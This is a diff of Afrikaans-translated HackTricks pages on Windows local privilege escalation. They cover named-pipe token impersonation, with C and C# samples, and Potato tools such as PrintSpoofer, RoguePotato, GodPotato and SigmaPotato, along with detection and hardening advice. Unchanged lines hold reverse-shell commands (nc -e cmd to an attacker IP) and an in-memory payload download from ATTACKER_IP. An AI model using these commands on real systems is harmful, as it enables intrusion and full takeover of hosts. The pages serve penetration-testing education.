SeImpersonatePrivilege om suksesvol die sekuriteitskonteks van 'n verbindende kliënt aan te neem en om CreateProcessWithTokenW te gebruik. -- Alternatiewelik, nadat jy SYSTEM geïmpersonifieer het, kan jy CreateProcessAsUser gebruik, wat moontlik SeAssignPrimaryTokenPrivilege en SeIncreaseQuotaPrivilege vereis (hierdie word bevredig wanneer jy SYSTEM impersonate). -- Kern-APIs wat gebruik word: +## Requirements and key APIs +- Privileges tipies benodig deur die oproepende proses/draad: +- SeImpersonatePrivilege om suksesvol 'n koppelende kliënt te impersonate en om CreateProcessWithTokenW te gebruik. +- Alternatiewelik, nadat jy SYSTEM geïmpersonate het, kan jy CreateProcessAsUser gebruik, wat SeAssignPrimaryTokenPrivilege en SeIncreaseQuotaPrivilege mag vereis (hierdie word bevredig wanneer jy SYSTEM impersonate). +- Kern-API's wat gebruik word: - CreateNamedPipe / ConnectNamedPipe -- ReadFile/WriteFile (moet ten minste een boodskap lees voordat impersonasie plaasvind) +- ReadFile/WriteFile (moet ten minste een boodskap lees voor impersonation) - ImpersonateNamedPipeClient en RevertToSelf - OpenThreadToken, DuplicateTokenEx(TokenPrimary) - CreateProcessWithTokenW of CreateProcessAsUser -- Impersonation level: om nuttige aksies lokaal uit te voer, moet die kliënt SecurityImpersonation toelaat (standaard vir baie plaaslike RPC/named-pipe kliënte). Kliënte kan dit verlaag met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION wanneer hulle die pipe oopmaak. +- Impersonation-vlak: om nuttige aksies plaaslik uit te voer, moet die kliënt SecurityImpersonation toelaat (standaard vir baie plaaslike RPC/named-pipe-kliënte). Kliënte kan dit verlaag met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION wanneer hulle die pipe oopmaak. ## Minimal Win32 workflow (C) ```c @@ -69,11 +69,11 @@ return 0; } ``` Aantekeninge: -- Indien ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) teruggee, maak seker dat jy eers vanaf die pipe lees en dat die kliënt impersonation nie tot Identification level beperk het nie. -- Gee voorkeur aan DuplicateTokenEx met SecurityImpersonation en TokenPrimary om 'n primêre token te skep wat geskik is vir prosescreëring. +- As ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) teruggee, maak seker jy lees eers vanaf die pipe en dat die kliënt impersonasie nie tot die Identification level beperk het nie. +- Gee voorkeur aan DuplicateTokenEx met SecurityImpersonation en TokenPrimary om 'n primary token te skep wat geskik is vir die skep van 'n proses. -## .NET vinnige voorbeeld -In .NET kan NamedPipeServerStream impersonate via RunAsClient. Sodra jy impersonate, dupliseer die thread token en skep 'n proses. +## .NET kort voorbeeld +In .NET kan NamedPipeServerStream via RunAsClient impersonate. Sodra jy impersonate, dupliseer die thread-token en skep 'n proses. ```csharp using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; class P { @@ -94,7 +94,7 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref } ``` ## Algemene triggers/afdwingings om SYSTEM na jou pipe te kry -Hierdie tegnieke dwing bevoorregte dienste om aan jou named pipe te koppel sodat jy hulle kan impersonate: +Hierdie tegnieke dwing gesaghebbende dienste om met jou named pipe te skakel sodat jy hulle kan impersonate: - Print Spooler RPC trigger (PrintSpoofer) - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) - EFSRPC pipes (EfsPotato/SharpEfsPotato) @@ -118,19 +118,19 @@ from-high-integrity-to-system-with-name-pipes.md {{#endref}} ## Probleemoplossing en valkuils -- Jy moet ten minste een boodskap vanaf die pipe lees voordat jy ImpersonateNamedPipeClient aanroep; anders kry jy ERROR_CANNOT_IMPERSONATE (1368). -- As die kliënt koppel met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, kan die server nie volledig impersonate nie; kontroleer die token se impersonation level via GetTokenInformation(TokenImpersonationLevel). -- CreateProcessWithTokenW vereis SeImpersonatePrivilege op die caller. As dit misluk met ERROR_PRIVILEGE_NOT_HELD (1314), gebruik CreateProcessAsUser nadat jy reeds SYSTEM impersonated het. -- Maak seker dat jou pipe se security descriptor die teiken-diens toelaat om te koppel as jy dit verhard; standaard is pipes onder \\.\pipe toeganklik volgens die server se DACL. +- Jy moet ten minste een boodskap vanaf die pipe lees voordat jy ImpersonateNamedPipeClient aanroep; anders sal jy ERROR_CANNOT_IMPERSONATE (1368) kry. +- As die kliënt skakel met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, kan die bediener nie volledig impersonate nie; kontroleer die token se impersonation level via GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW vereis SeImpersonatePrivilege op die aanroeper. As dit misluk met ERROR_PRIVILEGE_NOT_HELD (1314), gebruik CreateProcessAsUser nadat jy reeds SYSTEM geïmpersoniseer het. +- Maak seker dat jou pipe se security descriptor die teiken-diens toelaat om te koppel as jy dit verhard; standaard is pipes onder \\.\pipe toeganklik volgens die bediener se DACL. ## Opsporing en verharding -- Moniteer named pipe creation en connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) is nuttig om wettige pipe-name te basislyn en om vreemde, ewekansige-voorkomende pipes wat token-manipulation events voorafgaan te vang. -- Kyk na volgordes: proses skep 'n pipe, 'n SYSTEM service koppel, en dan spawn die skepende proses 'n child as SYSTEM. -- Verminder blootstelling deur SeImpersonatePrivilege van nie-noodsaaklike service-accounts te verwyder en onnodige service-logons met hoë voorregte te vermy. -- Verdedigende ontwikkeling: wanneer jy met onbetroubare named pipes koppel, spesifiseer SECURITY_SQOS_PRESENT met SECURITY_IDENTIFICATION om te verhoed dat servers die kliënt volledig impersonate tensy dit nodig is. +- Monitor named pipe skepping en verbindings. Sysmon Event IDs 17 (Pipe Created) en 18 (Pipe Connected) is nuttig om legitieme pipe-name te basislyn en ongebruiklike, ewekansig-lykende pipes wat token-manipulasie-gebeure voorafgaan, op te spoor. +- Kyk vir reekse: proses skep 'n pipe, 'n SYSTEM-diens koppel, en dan spawn die skepende proses 'n kindproses as SYSTEM. +- Verminder blootstelling deur SeImpersonatePrivilege van nie-essensiële diensrekeninge te verwyder en onnodige diens-aanmeldings met hoë voorregte te vermy. +- Verdedigende ontwikkeling: wanneer jy aan onbetroubare named pipes koppel, spesifiseer SECURITY_SQOS_PRESENT met SECURITY_IDENTIFICATION om te verhoed dat bedieners die kliënt volledig impersonate tensy nodig. ## Verwysings -- Windows: ImpersonateNamedPipeClient dokumentasie (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient - ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 7f2f017aa..4e0a3bfbe 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to leverage the same privileges and gain `NT AUTHORITY\SYSTEM` level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. +> **JuicyPotato doesn't work** op Windows Server 2019 en Windows 10 build 1809 en later nie. egter, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** kan gebruik word om dieselfde voorregte te benut en `NT AUTHORITY\SYSTEM` vlak toegang te verkry. Hierdie [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) gaan uitgebreid in op die `PrintSpoofer` tool, wat gebruik kan word om impersonasie-privileges op Windows 10 en Server 2019 gasheerrekenaars te misbruik waar JuicyPotato nie meer werk nie. > [!TIP] -> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References. +> 'n Moderne alternatief wat gereeld in 2024–2025 onderhou word is SigmaPotato (a fork of GodPotato) wat in-memory/.NET reflection usage en uitgebreide OS-ondersteuning byvoeg. Sien vinnige gebruik hieronder en die repo in Verwysings. Related pages for background and manual techniques: @@ -24,21 +24,21 @@ privilege-escalation-abusing-tokens.md ## Requirements and common gotchas -All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges: +Al die volgende tegnieke berus op die misbruik van 'n impersonation-capable geprivilegieerde diens vanuit 'n konteks wat een van hierdie privilegies het: -- SeImpersonatePrivilege (mees algemeen) or SeAssignPrimaryTokenPrivilege -- High integrity is not required if the token already has SeImpersonatePrivilege (typies vir baie service-accounts soos IIS AppPool, MSSQL, etc.) +- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege +- Hoë integriteit is nie nodig nie as die token reeds SeImpersonatePrivilege het (tipies vir baie service accounts soos IIS AppPool, MSSQL, ens.) -Kontroleer privileges vinnig: +Check privileges quickly: ```cmd whoami /priv | findstr /i impersonate ``` -Operasionele aantekeninge: +Operasionele notas: -- PrintSpoofer benodig dat die Print Spooler-diens loop en bereikbaar is via die plaaslike RPC-endpoint (spoolss). In geharde omgewings waar Spooler na PrintNightmare gedeaktiveer is, verkies RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato vereis 'n OXID-resolver wat op TCP/135 bereikbaar is. As egress geblokkeer is, gebruik 'n redirector/port-forwarder (sien voorbeeld hieronder). Ouer builds het die -f flag benodig. +- PrintSpoofer benodig die Print Spooler service om te loop en bereikbaar te wees oor die plaaslike RPC-endpoint (spoolss). In geharde omgewings waar Spooler na PrintNightmare gedeaktiveer is, verkies RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato vereis 'n OXID resolver wat bereikbaar is op TCP/135. As egress geblokkeer is, gebruik 'n redirector/port-forwarder (sien voorbeeld hieronder). Ouer builds het die -f vlag benodig. - EfsPotato/SharpEfsPotato misbruik MS-EFSR; as een pipe geblokkeer is, probeer alternatiewe pipes (lsarpc, efsrpc, samr, lsass, netlogon). -- Error 0x6d3 tydens RpcBindingSetAuthInfo dui gewoonlik op 'n onbekende/nie-ondersteunde RPC-verifikasiediens; probeer 'n ander pipe/transport of verseker dat die teikendiens loop. +- Fout 0x6d3 tydens RpcBindingSetAuthInfo dui gewoonlik op 'n onbekende of nie-ondersteunde RPC-authentikasiediens; probeer 'n ander pipe/transport of maak seker die teiken-diens loop. ## Vinnige Demo @@ -58,7 +58,7 @@ NULL ``` Aantekeninge: -- Jy kan -i gebruik om 'n interaktiewe proses in die huidige konsole te begin, of -c om 'n eenreëler te hardloop. +- Jy kan -i gebruik om 'n interaktiewe proses in die huidige console te spawn, of -c om 'n one-liner uit te voer. - Vereis die Spooler service. As dit gedeaktiveer is, sal dit misluk. ### RoguePotato @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -As uitgaande 135 geblokkeer is, pivot die OXID resolver via socat op jou redirector: +Indien uitgaande poort 135 geblokkeer is, pivot die OXID resolver via socat op jou redirector: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Wenk: As een pipe misluk of EDR dit blokkeer, probeer die ander ondersteunde pipes: +Wenk: As een pipe faal of EDR dit blokkeer, probeer die ander ondersteunde pipes: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) # You can achieve a reverse shell like this. > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -Notes: +Aantekeninge: - Werk op Windows 8/8.1–11 en Server 2012–2022 wanneer SeImpersonatePrivilege aanwesig is. ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato bied twee variante wat service DCOM objects teiken wat standaard op RPC_C_IMP_LEVEL_IMPERSONATE ingestel is. Bou of gebruik die verskafde binaries en voer jou bevel uit: +DCOMPotato bied twee variante wat mik op service DCOM objects wat standaard op RPC_C_IMP_LEVEL_IMPERSONATE ingestel is. Kompileer of gebruik die verskafde binaries en voer jou opdrag uit: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (bygewerkte GodPotato fork) +### SigmaPotato (opgedateerde GodPotato fork) -SigmaPotato voeg moderne geriewe by soos in-memory execution via .NET reflection en 'n PowerShell reverse shell helper. +SigmaPotato voeg moderne geriewe by, soos in-memory execution via .NET reflection en 'n PowerShell reverse shell helper. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -150,11 +150,11 @@ SigmaPotato voeg moderne geriewe by soos in-memory execution via .NET reflection ``` ## Opsporing en verhardingsnotas -- Moniteer vir prosesse wat named pipes skep en onmiddellik token-duplication APIs aanroep, gevolg deur CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kan nuttige telemetrie verskaf: Event ID 1 (proses skepping), 17/18 (named pipe geskep/gekoppel), en command lines wat child processes as SYSTEM spawn. -- Spooler-verharding: Deaktiveer die Print Spooler service op bedieners waar dit nie benodig word nie om PrintSpoofer-styl plaaslike afdwingings via spoolss te voorkom. -- Diensrekening-verharding: Minimeer toewysing van SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aan pasgemaakte dienste. Oorweeg om dienste onder virtuele rekeninge met die minste vereiste privileges te laat loop en hulle waar moontlik te isoleer met service SID en write-restricted tokens. -- Netwerkbeheer: Die blokkering van uitgaande TCP/135 of die beperking van RPC endpoint mapper-verkeer kan RoguePotato breek tensy ’n interne redirector beskikbaar is. -- EDR/AV: Al hierdie tools is wyd gesignatureer. Herkompilering vanaf bron, hernoem van symbols/strings, of gebruik van in-memory execution kan detectie verminder, maar sal soliede gedragsgebaseerde deteksie nie omseil nie. +- Hou dop vir prosesse wat named pipes skep en onmiddellik token-duplication APIs aanroep, gevolg deur CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kan nuttige telemetrie lewer: Event ID 1 (process creation), 17/18 (named pipe created/connected), en command lines wat child processes as SYSTEM spawn. +- Spooler verharding: Deaktiveer die Print Spooler-service op bedieners waar dit nie nodig is nie om PrintSpoofer-styl plaaslike afdwingings via spoolss te voorkom. +- Service account verharding: Minimaliseer die toekenning van SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aan pasgemaakte dienste. Oorweeg om dienste te laat loop onder virtual accounts met slegs die minste nodige privileges en isoleer hulle met service SID en write-restricted tokens waar moontlik. +- Netwerkbeheer: Om outbound TCP/135 te blokkeer of RPC endpoint mapper-verkeer te beperk kan RoguePotato breek, tensy 'n interne redirector beskikbaar is. +- EDR/AV: Al hierdie tools is wyd gesignatureer. Herkompilering vanaf bronkode, hernoem van symbols/strings, of gebruik van in-memory execution kan detectie verminder maar sal robuuste gedragsgebaseerde detecties nie omseil nie. ## Verwysings